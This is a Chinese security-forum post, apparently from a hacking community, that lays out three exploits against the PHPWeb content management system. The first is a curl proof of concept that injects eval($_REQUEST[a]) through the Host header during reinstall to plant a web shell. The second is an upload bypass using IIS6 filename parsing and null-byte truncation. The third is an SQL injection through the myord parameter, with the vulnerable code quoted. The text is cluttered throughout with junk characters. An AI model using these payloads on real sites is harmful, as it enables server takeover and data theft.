找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2571|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:8 U- l1 i/ B& ]

) @% t2 o8 _! P- Q之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码* Z% w& V& p# }- }, i( O1 d" x) ?3 j
+ z0 P$ ^) w6 b: ]8 ?5 `$ L9 V# ?
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
4 d- }9 p! b: w鸡肋2: 有一定安全常识的站长都会删掉 install 目录
% Y2 w+ j: r8 v- }
% e1 d( n0 C( h: m虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响, e: e* c3 U# O0 K, `# b$ b

+ u% B/ L! F' d# i7 h+ s分析:
: e8 Y3 e2 R0 t * Z  q# l+ ~1 n6 w
9 }- k, z4 M! u& B0 S
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
) R% E% N( y8 e% C
" z( ]& v5 q! r* {+ ~                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);2 r; f2 n' c+ o: O
                                            $filestr=str_replace(" ","",$filestr);
+ u; b/ ^0 r- z& X                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 U% M$ y6 l6 P7 B                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);4 L" d' z/ H; u: w
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$ r4 c8 w6 y  B3 ~. F! c' }5 A                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
) n# c' y- O/ G0 X+ U" e                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);5 o5 t3 m' T6 E, K- T
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);! t# Z' O5 Y% Y4 ?
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);4 N' w5 i# B2 I2 I
  J( g% v, D2 a. R: h
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);# {, `8 ^* n: n/ J+ J
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
* ?4 |, L0 b1 ^- D2 r/ q
# w! x: p7 e  Q. fpoc:% ^/ e% C% G3 t# u& U7 X

7 K2 W) \/ \6 Q5 c( l- @8 K?
: U# g/ d, ~9 ]6 x% T2 p12 _! A# a3 l. I0 S. L" ]
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
8 \/ q; k. D/ p) o% |shell地址: /config.inc.php
8 R; B- z& }. k; u/ d+ o% T9 D跟之前的 phpcms一样 需要远程数据库
5 b4 c0 v  {! ^5 j 8 a: W/ \# \$ N' ?5 Z
——————————————————–
0 L" S1 E6 `$ y' X上传漏洞(需要进后台):
. V: J6 z" `' h) @0 Q漏洞文件: /kedit/upload_cgi/upload.php
, Y" _+ e: h7 d/ E0 ^这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
2 V! i. {' |& @' |# D  `
) A+ Z! `9 [# @: I- G 0 K& Y& f* x5 ^  }: C7 Y0 D
<?php0 _/ M1 `+ {' P5 a7 W% U1 j6 f  B# d3 [$ v
    define("ROOTPATH", "../../");
' m0 u, S  P' F5 }$ {9 g+ o8 G    include(ROOTPATH."includes/admin.inc.php");
/ C; V8 c: O. U9 d    NeedAuth(0);
3 @* _9 X: {; B2 A/ A! v5 I 1 n( R6 ?# w1 P# g. L4 b
    $dt=date("Ymd",time());
2 ]0 I: B+ B- z* X    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
- Q" x( L4 |  F5 _" H            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);% M1 d! S9 ^5 \
    }5 ?& N, R, W, {" B- m+ V

1 j1 D; y, u6 N4 _/ D! Y* b' ^/ ?9 j    //文件保存目录路径9 v5 Z* ?; m3 r# n. \% |3 J
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';8 L2 a4 e! f& @- {8 Q& X) v+ I
    echo $save_path;& F& S3 N& U1 d7 R$ z
    //文件保存目录URL
3 l# A/ y5 N2 n* ]2 X6 g    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
0 n2 U, L8 M* X$ f5 Y% b
- O, |7 g2 k8 o, m    //定义允许上传的文件扩展名0 U3 U6 V% N7 h" P2 {3 e/ _: M6 `
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
+ j7 F3 [, \3 d. T2 _3 v
# n. `1 v# w) v' L2 o3 e* i8 E    //最大文件大小2 v3 {0 }+ z! m9 ~1 }- H* u
    $max_size = 1000000;4 ^& f: k' k/ h2 m0 C3 J6 N- t

1 W  S- i# g1 v9 ~" ?    //更改目录权限
1 q% Q& a% I: D, u6 N    @mkdir($save_path, 0777);1 c2 w# F/ Q4 Q- K
! m" q$ k8 l9 [% ~. {5 E( J9 H: X
    //文件的全部路径
& ^5 a; p0 [8 Z2 d+ w5 u# B  n    $file_path = $save_path.$_POST['fileName'];   //保存文件名
8 `/ @# A' Y* c2 P+ o  X
- @6 N- m7 M0 I3 I% U    //文件URL' ]8 Z9 `! ?" ]  O* K5 ?
    $file_url = $save_url.$_POST['fileName'];
6 `4 M; p; s7 _1 ^+ l" y+ q* U4 f//有上传文件时
- J' I$ q& @- Z: h& S2 J    if (empty($_FILES) === false) {0 T) t' D& w0 ^% y& U0 G5 M9 g
7 M2 \% t/ c* L& e
            //原文件名, u9 W& Q$ e% Z" T3 g
            $file_name = $_FILES['fileData']['name'];- l, ?  ^: [% D4 _* x$ _
            //服务器上临时文件名: ?: F5 H7 L% @  e& |& u
            $tmp_name = $_FILES['fileData']['tmp_name'];$ F, F4 d% y' Q% I
            //文件大小3 t2 [' Z7 i: c1 ^
            $file_size = $_FILES['fileData']['size'];- X. Z, W7 V; E4 ?$ V
            //检查目录
9 Z) L! S% U  s; o5 L1 j8 `            if (@is_dir($save_path) === false) {
5 m8 J/ c3 P# L, [+ N( O; N8 k                    alert("上传目录不存在。");" K2 w" P/ u2 j" K; i
            }
( A5 V0 f& a$ c( @* d$ s            //检查目录写权限; y7 ?- B+ R, g
            if (@is_writable($save_path) === false) {
, m4 _. y/ z3 S  U                    alert("上传目录没有写权限。");
# N  o) F4 X. s8 [6 a            }# p! @& n% }2 k+ @1 ~
            //检查是否已上传( g8 @0 z8 ^: g3 K3 Z* R& P
            if (@is_uploaded_file($tmp_name) === false) {
7 @! k' ?: Q0 Y8 C6 [" Q1 n9 \: E3 {3 _                    alert("临时文件可能不是上传文件。");
4 B5 C( B; z0 x+ @            }
/ S0 K4 Y5 k) P            //检查文件大小2 [5 C, M4 C1 i: f1 J. f
            if ($file_size > $max_size) {: l' K4 y  L$ Z5 ]  K5 {6 i+ x
                    alert("上传文件大小超过限制。");
, K: S9 i9 p, m' v3 J            }
' g$ K# D6 @: {6 h. Z            //获得文件扩展名4 y- i4 T6 f' V, X
            $temp_arr = explode(".", $_POST['fileName']);4 i* A) l* ]. q+ T$ D
            $file_ext = array_pop($temp_arr);8 ]' M# ~. G3 j/ }# h. S
            $file_ext = trim($file_ext);( r# x- a+ B: v
            $file_ext = strtolower($file_ext);  G+ j: ]- d; Q/ V8 p, ^  b* E& K1 k

5 g# E  l6 w& K2 h0 X            //检查扩展名   ; G1 h6 F# F& Z7 W4 b
            if (in_array($file_ext, $ext_arr) === false) {     
8 l  W/ Y6 O' S+ Q. N! U                    alert("上传文件扩展名是不允许的扩展名。");+ C& M. g$ {* S: X4 o
            }
! s9 L5 r/ r) v' m ' X0 b0 y5 K& |5 ^1 n2 Y4 [) l8 Q) L
            //移动文件   : C. s8 n  r+ I& j. C7 p
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^% _" E4 j; t5 p2 p
            if (move_uploaded_file($tmp_name, $file_path) === false) {
% f7 x  r, j' |7 P7 p1 B                    alert("上传文件失败。");
6 ^& N: x! F, G8 U# a            }
9 A# w; @. [/ `# S - r- g1 X& A( K: S2 B. o3 f1 m- b
            @chmod($file_path,0666);
" j/ b+ G( {. t+ s
7 E! X7 v  S1 A( s8 U3 Z' c    ?>
, c7 Z. S1 |% t6 q* `抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
/ e- T/ d. C/ S1 \3 H 1 Z9 w2 n+ W( b
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
8 p% k% ~: w/ h( W; C
2 J( Q+ _! Z  F& O——————————————————
$ L* `, x( Q- B# q注入漏洞:, ]' ^8 j% z1 C3 ]+ F& }5 t( s* |
漏洞文件:search/module/search.php
# k, U( }- ^+ e& P* Z+ ?1 u/search/index.php?key=1&myord=1 [sqlinjection]
9 B& h8 }( \. S- D
% H: j$ C. ]; _6 c: q
' ~$ r- c3 I% q( m  C8 ^<?php( l$ s$ m& s' K8 Q
   //       ... 省略 n 行...
7 p* E/ E; U: K   //第18行:3 P# @% ~7 \9 ?# b( G* L
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响% X5 g- A/ s5 U0 h
           $page=htmlspecialchars($_GET["page"]);
% k7 E; ?" u7 \( s4 V7 O5 ~           $myord=htmlspecialchars($_GET["myord"]);( F1 k( U6 V  `9 `' f: }

+ Z: t8 R4 O& e. \+ }% B, {, h   //       ... 省略 n 行...
7 M9 c; O" l, L% N7 a   $key,$myord 两个参数带入查询
, p: T% v8 |1 i3 y8 X3 e   //第47行 $key:1 S0 S, C. p( ^' m. |
. n' J; y  N- }) }- r; v/ S# d, g# G+ i
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..% H/ O4 m" Q5 r

  k: |, w% g* E( ?  x4 b. K   //第197行 $myord
" |" v. `6 `/ Q   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
3 Z; \. i& S5 w, ~; l& K' A9 D  @ ' k0 ]- Y1 e4 M( d; A  @( d- A
   ?>" Q' o6 M, \: p$ Q4 j, D7 [# K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表